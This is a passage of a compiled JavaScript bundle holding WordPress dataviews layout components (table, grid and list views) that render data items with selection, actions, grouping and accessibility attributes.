33835 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("colgroup", { children: [
33836 hasBulkActions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("col", { className: "dataviews-view-table__col-checkbox" }),
33837 hasPrimaryColumn && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("col", { className: "dataviews-view-table__col-primary" }),
33838 columns.map((column) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33839 "col",
33840 {
33841 className: `dataviews-view-table__col-${column}`
33842 },
33843 `col-${column}`
33844 )),
33845 !!actions?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("col", { className: "dataviews-view-table__col-actions" })
33846 ] }),
33847 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("thead", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("tr", { className: "dataviews-view-table__row", children: [
33848 hasBulkActions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33849 "th",
33850 {
33851 className: "dataviews-view-table__checkbox-column",
33852 scope: "col",
33853 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33854 BulkSelectionCheckbox,
33855 {
33856 selection,
33857 onChangeSelection,
33858 data,
33859 actions,
33860 getItemId
33861 }
33862 )
33863 }
33864 ),
33865 hasPrimaryColumn && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("th", { scope: "col", children: titleField && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33866 column_header_menu_default,
33867 {
33868 ref: headerMenuRef(
33869 titleField.id,
33870 0
33871 ),
33872 fieldId: titleField.id,
33873 view,
33874 fields,
33875 onChangeView,
33876 onHide,
33877 setOpenedFilter,
33878 canMove: false
33879 }
33880 ) }),
33881 columns.map((column, index) => {
33882 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
33883 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33884 "th",
33885 {
33886 style: {
33887 width,
33888 maxWidth,
33889 minWidth,
33890 textAlign: align
33891 },
33892 "aria-sort": view.sort?.direction && view.sort?.field === column ? sortValues[view.sort.direction] : void 0,
33893 scope: "col",
33894 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33895 column_header_menu_default,
33896 {
33897 ref: headerMenuRef(column, index),
33898 fieldId: column,
33899 view,
33900 fields,
33901 onChangeView,
33902 onHide,
33903 setOpenedFilter,
33904 canMove: view.layout?.enableMoving ?? true
33905 }
33906 )
33907 },
33908 column
33909 );
33910 }),
33911 !!actions?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33912 "th",
33913 {
33914 className: dist_clsx(
33915 "dataviews-view-table__actions-column",
33916 {
33917 "dataviews-view-table__actions-column--sticky": true,
33918 "dataviews-view-table__actions-column--stuck": !isHorizontalScrollEnd
33919 }
33920 ),
33921 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-view-table-header", children: (0,external_wp_i18n_namespaceObject.__)("Actions") })
33922 }
33923 )
33924 ] }) }),
33925 hasData && groupField && dataByGroup ? Array.from(dataByGroup.entries()).map(
33926 ([groupName, groupItems]) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("tbody", { children: [
33927 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("tr", { className: "dataviews-view-table__group-header-row", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33928 "td",
33929 {
33930 colSpan: columns.length + (hasPrimaryColumn ? 1 : 0) + (hasBulkActions ? 1 : 0) + (actions?.length ? 1 : 0),
33931 className: "dataviews-view-table__group-header-cell",
33932 children: (0,external_wp_i18n_namespaceObject.sprintf)(
33933 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
33934 (0,external_wp_i18n_namespaceObject.__)("%1$s: %2$s"),
33935 groupField.label,
33936 groupName
33937 )
33938 }
33939 ) }),
33940 groupItems.map((item, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33941 TableRow,
33942 {
33943 item,
33944 level: view.showLevels && typeof getItemLevel === "function" ? getItemLevel(item) : void 0,
33945 hasBulkActions,
33946 actions,
33947 fields,
33948 id: getItemId(item) || index.toString(),
33949 view,
33950 titleField,
33951 mediaField,
33952 descriptionField,
33953 selection,
33954 getItemId,
33955 onChangeSelection,
33956 onClickItem,
33957 renderItemLink,
33958 isItemClickable,
33959 isActionsColumnSticky: !isHorizontalScrollEnd
33960 },
33961 getItemId(item)
33962 ))
33963 ] }, `group-${groupName}`)
33964 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("tbody", { children: hasData && data.map((item, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33965 TableRow,
33966 {
33967 item,
33968 level: view.showLevels && typeof getItemLevel === "function" ? getItemLevel(item) : void 0,
33969 hasBulkActions,
33970 actions,
33971 fields,
33972 id: getItemId(item) || index.toString(),
33973 view,
33974 titleField,
33975 mediaField,
33976 descriptionField,
33977 selection,
33978 getItemId,
33979 onChangeSelection,
33980 onClickItem,
33981 renderItemLink,
33982 isItemClickable,
33983 isActionsColumnSticky: !isHorizontalScrollEnd,
33984 posinset: isInfiniteScroll ? index + 1 : void 0
33985 },
33986 getItemId(item)
33987 )) })
33988 ]
33989 }
33990 ),
33991 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33992 "div",
33993 {
33994 className: dist_clsx({
33995 "dataviews-loading": isLoading,
33996 "dataviews-no-results": !hasData && !isLoading
33997 }),
33998 id: tableNoticeId,
33999 children: [
34000 !hasData && (isLoading ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }) : empty),
34001 hasData && isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) })
34002 ]
34003 }
34004 )
34005 ] });
34006}
34007var table_default = ViewTable;
34008
34009
34010;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/utils/grid-items.js
34011
34012
34013
34014const GridItems = (0,external_wp_element_.forwardRef)(({ className, previewSize, ...props }, ref) => {
34015 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34016 "div",
34017 {
34018 ref,
34019 className: dist_clsx("dataviews-view-grid-items", className),
34020 style: {
34021 gridTemplateColumns: previewSize && `repeat(auto-fill, minmax(${previewSize}px, 1fr))`
34022 },
34023 ...props
34024 }
34025 );
34026});
34027
34028
34029;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/grid/index.js
34030
34031
34032
34033
34034
34035
34036
34037
34038
34039
34040
34041
34042
34043
34044const { Badge } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
34045
34046function GridItem({
34047 view,
34048 selection,
34049 onChangeSelection,
34050 onClickItem,
34051 isItemClickable,
34052 renderItemLink,
34053 getItemId,
34054 item,
34055 actions,
34056 mediaField,
34057 titleField,
34058 descriptionField,
34059 regularFields,
34060 badgeFields,
34061 hasBulkActions,
34062 config,
34063 posinset
34064}) {
34065 const {
34066 showTitle = true,
34067 showMedia = true,
34068 showDescription = true,
34069 infiniteScrollEnabled
34070 } = view;
34071 const hasBulkAction = useHasAPossibleBulkAction(actions, item);
34072 const id = getItemId(item);
34073 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(GridItem);
34074 const isSelected = selection.includes(id);
34075 const renderedMediaField = mediaField?.render ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34076 mediaField.render,
34077 {
34078 item,
34079 field: mediaField,
34080 config
34081 }
34082 ) : null;
34083 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, { item, field: titleField }) : null;
34084 const shouldRenderMedia = showMedia && renderedMediaField;
34085 let mediaA11yProps;
34086 let titleA11yProps;
34087 if (isItemClickable(item) && onClickItem) {
34088 if (renderedTitleField) {
34089 mediaA11yProps = {
34090 "aria-labelledby": `dataviews-view-grid__title-field-${instanceId}`
34091 };
34092 titleA11yProps = {
34093 id: `dataviews-view-grid__title-field-${instanceId}`
34094 };
34095 } else {
34096 mediaA11yProps = {
34097 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Navigate to item")
34098 };
34099 }
34100 }
34101 const { paginationInfo } = (0,external_wp_element_.useContext)(dataviews_context_default);
34102 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
34103 external_wp_components_namespaceObject.__experimentalVStack,
34104 {
34105 spacing: 0,
34106 className: dist_clsx("dataviews-view-grid__card", {
34107 "is-selected": hasBulkAction && isSelected
34108 }),
34109 onClickCapture: (event) => {
34110 if ((0,external_wp_keycodes_namespaceObject.isAppleOS)() ? event.metaKey : event.ctrlKey) {
34111 event.stopPropagation();
34112 event.preventDefault();
34113 if (!hasBulkAction) {
34114 return;
34115 }
34116 onChangeSelection(
34117 selection.includes(id) ? selection.filter((itemId) => id !== itemId) : [...selection, id]
34118 );
34119 }
34120 },
34121 role: infiniteScrollEnabled ? "article" : void 0,
34122 "aria-setsize": infiniteScrollEnabled ? paginationInfo.totalItems : void 0,
34123 "aria-posinset": posinset,
34124 children: [
34125 shouldRenderMedia && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34126 ItemClickWrapper,
34127 {
34128 item,
34129 isItemClickable,
34130 onClickItem,
34131 renderItemLink,
34132 className: "dataviews-view-grid__media",
34133 ...mediaA11yProps,
34134 children: renderedMediaField
34135 }
34136 ),
34137 hasBulkActions && shouldRenderMedia && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34138 DataViewsSelectionCheckbox,
34139 {
34140 item,
34141 selection,
34142 onChangeSelection,
34143 getItemId,
34144 titleField,
34145 disabled: !hasBulkAction
34146 }
34147 ),
34148 !showTitle && shouldRenderMedia && !!actions?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-view-grid__media-actions", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemActions, { item, actions, isCompact: true }) }),
34149 showTitle && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
34150 external_wp_components_namespaceObject.__experimentalHStack,
34151 {
34152 justify: "space-between",
34153 className: "dataviews-view-grid__title-actions",
34154 children: [
34155 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34156 ItemClickWrapper,
34157 {
34158 item,
34159 isItemClickable,
34160 onClickItem,
34161 renderItemLink,
34162 className: "dataviews-view-grid__title-field dataviews-title-field",
34163 ...titleA11yProps,
34164 children: renderedTitleField
34165 }
34166 ),
34167 !!actions?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34168 ItemActions,
34169 {
34170 item,
34171 actions,
34172 isCompact: true
34173 }
34174 )
34175 ]
34176 }
34177 ),
34178 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, children: [
34179 showDescription && descriptionField?.render && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34180 descriptionField.render,
34181 {
34182 item,
34183 field: descriptionField
34184 }
34185 ),
34186 !!badgeFields?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34187 external_wp_components_namespaceObject.__experimentalHStack,
34188 {
34189 className: "dataviews-view-grid__badge-fields",
34190 spacing: 2,
34191 wrap: true,
34192 alignment: "top",
34193 justify: "flex-start",
34194 children: badgeFields.map((field) => {
34195 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34196 Badge,
34197 {
34198 className: "dataviews-view-grid__field-value",
34199 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34200 field.render,
34201 {
34202 item,
34203 field
34204 }
34205 )
34206 },
34207 field.id
34208 );
34209 })
34210 }
34211 ),
34212 !!regularFields?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34213 external_wp_components_namespaceObject.__experimentalVStack,
34214 {
34215 className: "dataviews-view-grid__fields",
34216 spacing: 1,
34217 children: regularFields.map((field) => {
34218 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34219 external_wp_components_namespaceObject.Flex,
34220 {
34221 className: "dataviews-view-grid__field",
34222 gap: 1,
34223 justify: "flex-start",
34224 expanded: true,
34225 style: { height: "auto" },
34226 direction: "row",
34227 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
34228 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: field.label, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { className: "dataviews-view-grid__field-name", children: field.header }) }),
34229 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34230 external_wp_components_namespaceObject.FlexItem,
34231 {
34232 className: "dataviews-view-grid__field-value",
34233 style: { maxHeight: "none" },
34234 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34235 field.render,
34236 {
34237 item,
34238 field
34239 }
34240 )
34241 }
34242 )
34243 ] })
34244 },
34245 field.id
34246 );
34247 })
34248 }
34249 )
34250 ] })
34251 ]
34252 },
34253 id
34254 );
34255}
34256function ViewGrid({
34257 actions,
34258 data,
34259 fields,
34260 getItemId,
34261 isLoading,
34262 onChangeSelection,
34263 onClickItem,
34264 isItemClickable,
34265 renderItemLink,
34266 selection,
34267 view,
34268 className,
34269 empty
34270}) {
34271 const { resizeObserverRef } = (0,external_wp_element_.useContext)(dataviews_context_default);
34272 const titleField = fields.find(
34273 (field) => field.id === view?.titleField
34274 );
34275 const mediaField = fields.find(
34276 (field) => field.id === view?.mediaField
34277 );
34278 const descriptionField = fields.find(
34279 (field) => field.id === view?.descriptionField
34280 );
34281 const otherFields = view.fields ?? [];
34282 const { regularFields, badgeFields } = otherFields.reduce(
34283 (accumulator, fieldId) => {
34284 const field = fields.find((f) => f.id === fieldId);
34285 if (!field) {
34286 return accumulator;
34287 }
34288 const key = view.layout?.badgeFields?.includes(fieldId) ? "badgeFields" : "regularFields";
34289 accumulator[key].push(field);
34290 return accumulator;
34291 },
34292 { regularFields: [], badgeFields: [] }
34293 );
34294 const hasData = !!data?.length;
34295 const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
34296 const usedPreviewSize = view.layout?.previewSize;
34297 const size = "900px";
34298 const groupField = view.groupByField ? fields.find((f) => f.id === view.groupByField) : null;
34299 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
34300 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
34301 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
34302 // Render multiple groups.
34303 children: [
34304 hasData && groupField && dataByGroup && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: Array.from(dataByGroup.entries()).map(
34305 ([groupName, groupItems]) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 2, children: [
34306 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "dataviews-view-grid__group-header", children: (0,external_wp_i18n_namespaceObject.sprintf)(
34307 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
34308 (0,external_wp_i18n_namespaceObject.__)("%1$s: %2$s"),
34309 groupField.label,
34310 groupName
34311 ) }),
34312 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34313 GridItems,
34314 {
34315 className: dist_clsx(
34316 "dataviews-view-grid",
34317 className
34318 ),
34319 previewSize: usedPreviewSize,
34320 "aria-busy": isLoading,
34321 ref: resizeObserverRef,
34322 children: groupItems.map((item) => {
34323 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34324 GridItem,
34325 {
34326 view,
34327 selection,
34328 onChangeSelection,
34329 onClickItem,
34330 isItemClickable,
34331 renderItemLink,
34332 getItemId,
34333 item,
34334 actions,
34335 mediaField,
34336 titleField,
34337 descriptionField,
34338 regularFields,
34339 badgeFields,
34340 hasBulkActions,
34341 config: {
34342 sizes: size
34343 }
34344 },
34345 getItemId(item)
34346 );
34347 })
34348 }
34349 )
34350 ] }, groupName)
34351 ) }),
34352 // Render a single grid with all data.
34353 hasData && !dataByGroup && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34354 GridItems,
34355 {
34356 className: dist_clsx("dataviews-view-grid", className),
34357 previewSize: usedPreviewSize,
34358 "aria-busy": isLoading,
34359 ref: resizeObserverRef,
34360 role: isInfiniteScroll ? "feed" : void 0,
34361 children: data.map((item, index) => {
34362 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34363 GridItem,
34364 {
34365 view,
34366 selection,
34367 onChangeSelection,
34368 onClickItem,
34369 isItemClickable,
34370 renderItemLink,
34371 getItemId,
34372 item,
34373 actions,
34374 mediaField,
34375 titleField,
34376 descriptionField,
34377 regularFields,
34378 badgeFields,
34379 hasBulkActions,
34380 config: {
34381 sizes: size
34382 },
34383 posinset: isInfiniteScroll ? index + 1 : void 0
34384 },
34385 getItemId(item)
34386 );
34387 })
34388 }
34389 ),
34390 // Render empty state.
34391 !hasData && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34392 "div",
34393 {
34394 className: dist_clsx({
34395 "dataviews-loading": isLoading,
34396 "dataviews-no-results": !isLoading
34397 }),
34398 children: isLoading ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }) : empty
34399 }
34400 ),
34401 hasData && isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) })
34402 ]
34403 });
34404}
34405var grid_default = ViewGrid;
34406
34407
34408;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/list/index.js
34409
34410
34411
34412
34413
34414
34415
34416
34417
34418
34419
34420
34421const { Menu: list_Menu } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
34422function generateItemWrapperCompositeId(idPrefix) {
34423 return `${idPrefix}-item-wrapper`;
34424}
34425function generatePrimaryActionCompositeId(idPrefix, primaryActionId) {
34426 return `${idPrefix}-primary-action-${primaryActionId}`;
34427}
34428function generateDropdownTriggerCompositeId(idPrefix) {
34429 return `${idPrefix}-dropdown`;
34430}
34431function PrimaryActionGridCell({
34432 idPrefix,
34433 primaryAction,
34434 item
34435}) {
34436 const registry = (0,external_wp_data_.useRegistry)();
34437 const [isModalOpen, setIsModalOpen] = (0,external_wp_element_.useState)(false);
34438 const compositeItemId = generatePrimaryActionCompositeId(
34439 idPrefix,
34440 primaryAction.id
34441 );
34442 const label = typeof primaryAction.label === "string" ? primaryAction.label : primaryAction.label([item]);
34443 return "RenderModal" in primaryAction ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34444 external_wp_components_namespaceObject.Composite.Item,
34445 {
34446 id: compositeItemId,
34447 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34448 external_wp_components_namespaceObject.Button,
34449 {
34450 disabled: !!primaryAction.disabled,
34451 accessibleWhenDisabled: true,
34452 text: label,
34453 size: "small",
34454 onClick: () => setIsModalOpen(true)
34455 }
34456 ),
34457 children: isModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34458 ActionModal,
34459 {
34460 action: primaryAction,
34461 items: [item],
34462 closeModal: () => setIsModalOpen(false)
34463 }
34464 )
34465 }
34466 ) }, primaryAction.id) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34467 external_wp_components_namespaceObject.Composite.Item,
34468 {
34469 id: compositeItemId,
34470 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34471 external_wp_components_namespaceObject.Button,
34472 {
34473 disabled: !!primaryAction.disabled,
34474 accessibleWhenDisabled: true,
34475 size: "small",
34476 onClick: () => {
34477 primaryAction.callback([item], { registry });
34478 },
34479 children: label
34480 }
34481 )
34482 }
34483 ) }, primaryAction.id);
34484}
34485function ListItem({
34486 view,
34487 actions,
34488 idPrefix,
34489 isSelected,
34490 item,
34491 titleField,
34492 mediaField,
34493 descriptionField,
34494 onSelect,
34495 otherFields,
34496 onDropdownTriggerKeyDown,
34497 posinset
34498}) {
34499 const {
34500 showTitle = true,
34501 showMedia = true,
34502 showDescription = true,
34503 infiniteScrollEnabled
34504 } = view;
34505 const itemRef = (0,external_wp_element_.useRef)(null);
34506 const labelId = `${idPrefix}-label`;
34507 const descriptionId = `${idPrefix}-description`;
34508 const registry = (0,external_wp_data_.useRegistry)();
34509 const [isHovered, setIsHovered] = (0,external_wp_element_.useState)(false);
34510 const [activeModalAction, setActiveModalAction] = (0,external_wp_element_.useState)(
34511 null
34512 );
34513 const handleHover = ({ type }) => {
34514 const isHover = type === "mouseenter";
34515 setIsHovered(isHover);
34516 };
34517 const { paginationInfo } = (0,external_wp_element_.useContext)(dataviews_context_default);
34518 (0,external_wp_element_.useEffect)(() => {
34519 if (isSelected) {
34520 itemRef.current?.scrollIntoView({
34521 behavior: "auto",
34522 block: "nearest",
34523 inline: "nearest"
34524 });
34525 }
34526 }, [isSelected]);
34527 const { primaryAction, eligibleActions } = (0,external_wp_element_.useMemo)(() => {
34528 const _eligibleActions = actions.filter(
34529 (action) => !action.isEligible || action.isEligible(item)
34530 );
34531 const _primaryActions = _eligibleActions.filter(
34532 (action) => action.isPrimary
34533 );
34534 return {
34535 primaryAction: _primaryActions[0],
34536 eligibleActions: _eligibleActions
34537 };
34538 }, [actions, item]);
34539 const hasOnlyOnePrimaryAction = primaryAction && actions.length === 1;
34540 const renderedMediaField = showMedia && mediaField?.render ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-view-list__media-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34541 mediaField.render,
34542 {
34543 item,
34544 field: mediaField,
34545 config: { sizes: "52px" }
34546 }
34547 ) }) : null;
34548 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, { item, field: titleField }) : null;
34549 const usedActions = eligibleActions?.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 3, className: "dataviews-view-list__item-actions", children: [
34550 primaryAction && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34551 PrimaryActionGridCell,
34552 {
34553 idPrefix,
34554 primaryAction,
34555 item
34556 }
34557 ),
34558 !hasOnlyOnePrimaryAction && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { role: "gridcell", children: [
34559 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(list_Menu, { placement: "bottom-end", children: [
34560 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34561 list_Menu.TriggerButton,
34562 {
34563 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34564 external_wp_components_namespaceObject.Composite.Item,
34565 {
34566 id: generateDropdownTriggerCompositeId(
34567 idPrefix
34568 ),
34569 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34570 external_wp_components_namespaceObject.Button,
34571 {
34572 size: "small",
34573 icon: more_vertical_default,
34574 label: (0,external_wp_i18n_namespaceObject.__)("Actions"),
34575 accessibleWhenDisabled: true,
34576 disabled: !actions.length,
34577 onKeyDown: onDropdownTriggerKeyDown
34578 }
34579 )
34580 }
34581 )
34582 }
34583 ),
34584 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(list_Menu.Popover, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34585 ActionsMenuGroup,
34586 {
34587 actions: eligibleActions,
34588 item,
34589 registry,
34590 setActiveModalAction
34591 }
34592 ) })
34593 ] }),
34594 !!activeModalAction && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34595 ActionModal,
34596 {
34597 action: activeModalAction,
34598 items: [item],
34599 closeModal: () => setActiveModalAction(null)
34600 }
34601 )
34602 ] })
34603 ] });
34604 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34605 external_wp_components_namespaceObject.Composite.Row,
34606 {
34607 ref: itemRef,
34608 render: (
34609 /* aria-posinset breaks Composite.Row if passed to it directly. */
34610 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34611 "div",
34612 {
34613 "aria-posinset": posinset,
34614 "aria-setsize": infiniteScrollEnabled ? paginationInfo.totalItems : void 0
34615 }
34616 )
34617 ),
34618 role: infiniteScrollEnabled ? "article" : "row",
34619 className: dist_clsx({
34620 "is-selected": isSelected,
34621 "is-hovered": isHovered
34622 }),
34623 onMouseEnter: handleHover,
34624 onMouseLeave: handleHover,
34625 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { className: "dataviews-view-list__item-wrapper", spacing: 0, children: [
34626 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34627 external_wp_components_namespaceObject.Composite.Item,
34628 {
34629 id: generateItemWrapperCompositeId(idPrefix),
34630 "aria-pressed": isSelected,
34631 "aria-labelledby": labelId,
34632 "aria-describedby": descriptionId,
34633 className: "dataviews-view-list__item",
34634 onClick: () => onSelect(item)
34635 }
34636 ) }),
34637 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 3, justify: "start", alignment: "flex-start", children: [
34638 renderedMediaField,
34639 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
34640 external_wp_components_namespaceObject.__experimentalVStack,
34641 {
34642 spacing: 1,
34643 className: "dataviews-view-list__field-wrapper",
34644 children: [
34645 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 0, children: [
34646 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34647 "div",
34648 {
34649 className: "dataviews-title-field",
34650 id: labelId,
34651 children: renderedTitleField
34652 }
34653 ),
34654 usedActions
34655 ] }),
34656 showDescription && descriptionField?.render && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-view-list__field", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34657 descriptionField.render,
34658 {
34659 item,
34660 field: descriptionField
34661 }
34662 ) }),
34663 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34664 "div",
34665 {
34666 className: "dataviews-view-list__fields",
34667 id: descriptionId,
34668 children: otherFields.map((field) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
34669 "div",
34670 {
34671 className: "dataviews-view-list__field",
34672 children: [
34673 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34674 external_wp_components_namespaceObject.VisuallyHidden,
34675 {
34676 as: "span",
34677 className: "dataviews-view-list__field-label",
34678 children: field.label
34679 }
34680 ),
34681 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-view-list__field-value", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34682 field.render,
34683 {
34684 item,
34685 field
34686 }
34687 ) })
34688 ]
34689 },
34690 field.id
34691 ))
34692 }
34693 )
34694 ]
34695 }
34696 )
34697 ] })
34698 ] })
34699 }
34700 );
34701}
34702function isDefined(item) {
34703 return !!item;
34704}
34705function ViewList(props) {
34706 const {
34707 actions,
34708 data,
34709 fields,
34710 getItemId,
